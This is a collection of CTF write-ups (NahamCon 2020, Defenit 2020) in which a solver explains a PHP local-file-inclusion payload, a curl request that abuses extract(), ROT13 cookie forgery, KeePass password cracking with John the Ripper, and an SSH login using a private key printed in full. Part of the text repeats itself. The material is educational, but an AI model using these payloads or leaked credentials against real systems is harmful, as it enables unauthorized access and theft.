so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:
```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:
burp suite catches the request and allows us to edit it:
we now only need to add an emergency variable and we get the flag:
with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:
**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# 2020 Defenit CTF - MoM's Touch >###### TAGS: `reversing`>[name=rlaclgjs@PLUS]
## Attachments* writeup * [solver code](https://gist.github.com/rlaclgjs1107/d3f748657494ee286948888fd753f03f#file-sol-py)
Attachments are uploaded on [gist](https://gist.github.com/rlaclgjs1107/d3f748657494ee286948888fd753f03f)
## ChallengeChallenge provides an `ELF` file named `momsTouch`. When I opened `momsTouch` with IDA, I noticed that this is a basic reversing challenge for analyzing the flag-checking program. So, let's check out how this program check our input!## Analysis```Cint __cdecl main(){ char *buf; // eax char *s; // esi ssize_t v2; // eax
sub_80486B0(); puts("Mom Give Me The FLAG!"); buf = (char *)malloc(0x64u); s = buf; if ( !buf ) { perror("[*]Error : malloc()"); goto LABEL_12; } v2 = read(0, buf, 0x64u); if ( v2 < 0 ) { perror("[*]Error : read()");LABEL_12: exit(-1); } if ( s[v2 - 1] == 10 ) s[v2 - 1] = 0; if ( strlen(s) != 73 ) { puts("Mom, Check the legnth.."); exit(0); } if ( (unsigned __int8)sub_80487A0((int)s) ) puts("Correct! Mom! Input is FLAG!"); else puts("Try Again.."); free(s); return 0;}```This is the `main` function we have. In this function, we can figure out some meaningful information. 1. The flag length is 73.2. This program verify our input in a function `sub_80487a0`.
```C {.line-numbers}int __cdecl sub_80487A0(int a1){ signed int v1; // esi int v2; // ebp int v3; // eax int result; // eax
v1 = 0; while ( 1 ) { v2 = (unsigned __int8)(16 * LOBYTE(dword_80492AC[v1]) | ((unsigned int)dword_80492AC[v1] >> 4)); v3 = rand(); if ( (dword_80492AC[(unsigned __int8)(4 * (v3 + v3 / 255) | ((unsigned int)(v3 % 255) >> 2))] ^ dword_80492AC[v2] ^ *(char *)(a1 + v1)) != dword_8049144[v1] ) break; ++v1; LOBYTE(result) = 1; if ( v1 > 72 ) return (unsigned __int8)result; } LOBYTE(result) = 0; return (unsigned __int8)result;}```So, this is the function `sub_80487A0`. This function uses random number(not actually "real" random because we can find a seed in other function), complex conditional expression to check our input.
However, Let's see `v1`. `v1` is increasing for each loop, unless we fail to pass the conditional expression just above. Then, if `v1` is over 72, the function returns `1` that means 'true'. Since we know 73 is the length of the flag, I guessed that this function checks our flag character by character.
If we can see whether the program enters `++v1;` part or not, we can brute force the flag by 1 printable character. ## SolutionSo, I write gdb script on python to automate brute forcing process. Here is my solution. ```pythonimport gdb import string
class BP_Manager(gdb.Breakpoint): def stop(self): global count count += 1 return False
gdb.execute('file momsTouch')bp = BP_Manager("*0x0804881c")
trial = "_"*73count = 0
trial_pos = 0
while trial_pos < 73: for ch in string.printable: if ch in ['\"', '`', '\'','$', '&','(', ')', '>', '<', '|', ';', '\\']: continue trial = trial[:trial_pos] + ch + trial[trial_pos+1:] trial_file = open("trial", "w") print(trial, file=trial_file) print("Trying '%s'..."%trial) trial_file.close() gdb.execute("r < trial") print("count : %d"%count) print("trial_pos : %d"%trial_pos)
if count == trial_pos+1: trial_pos += 1 count = 0 break else: print("Wrong...") count = 0
print(trial)```
After waiting some time, we can get the flag!```Correct! Mom! Input is FLAG![Inferior 1 (process 30928) exited normally]Warning: not runningcount : 73trial_pos : 72Defenit{ea40d42bfaf7d1f599abf284a35c535c607ccadbff38f7c39d6d57e238c4425e}```## Flag`Defenit{ea40d42bfaf7d1f599abf284a35c535c607ccadbff38f7c39d6d57e238c4425e}` |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
